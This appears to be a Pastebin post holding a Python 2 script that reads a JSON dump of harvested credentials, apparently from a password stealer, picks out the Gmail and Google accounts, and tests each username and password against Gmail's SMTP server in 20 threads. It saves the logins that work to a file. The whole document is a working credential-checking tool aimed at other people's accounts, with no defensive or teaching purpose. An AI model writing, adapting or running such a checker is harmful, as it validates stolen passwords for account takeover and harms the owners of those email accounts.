Advertisement
Guest User

Untitled

a guest
Jun 17th, 2017
71
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.74 KB | None | 0 0
  1. import msnp
  2. import smtplib
  3. import simplejson
  4. import threading
  5. import Queue
  6. import time
  7.  
  8. passwords = simplejson.load(open("json_encoded.txt","rb"))
  9. msns = []
  10. qu = Queue.Queue()
  11.  
  12. out = open("google_accounts.txt","w")
  13. file_lock = threading.Lock()
  14.  
  15. for u in passwords:
  16.     #if u[1] == "Msn Messenger":
  17.     if u[2].endswith("@gmail.com") or u[2].endswith("@googlemail.com") or "google" in u[1]:
  18.         if not u[2].endswith("@gmail.com") and not u[2].endswith("@googlemail.com"):
  19.             x = u[2]
  20.             u[2] = x+"@gmail.com"
  21.             x = ("","",x+"@googlemail.com",u[3])
  22.             msns.append(x)
  23.             qu.put(x)
  24.  
  25.         msns.append(u)
  26.         qu.put(u)
  27.            
  28.  
  29. print "[!] Found %s Google passwords. Checking that shit now..."%len(msns)
  30.  
  31.  
  32. def checker(q,lock,f):
  33.     print "[!] Thread started!"
  34.     while True:
  35.         t1 = time.time()
  36.         try:
  37.             i = q.get_nowait()
  38.         except:
  39.             print "[!] Thread terminating!"
  40.             return
  41.         #msn = msnp.Session()
  42.         s = smtplib.SMTP("smtp.gmail.com",587)
  43.         s.ehlo()
  44.         s.starttls()
  45.         s.ehlo()
  46.         try:
  47.             #msn.login(i[2],i[3])
  48.             if not i[2].endswith("@gmail.com"):
  49.                 i[2] = i[2]+"@gmail.com"
  50.             s.login(i[2],i[3])
  51.         except:
  52.             print "[!] Invalid login for %s"%i[2]
  53.             continue
  54.         finally:
  55.             s.close()
  56.         lock.acquire()
  57.         try:
  58.             f.write("%s:%s\n"%(i[2],i[3]))
  59.         finally:
  60.             lock.release()
  61.         t2 = time.time()
  62.         print "[!] Valid login found for %s checked in %s"%(i[2],t2-t1)
  63.  
  64. for i in xrange(20):
  65.     threading.Thread(target=checker,args=(qu,file_lock,out)).start()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement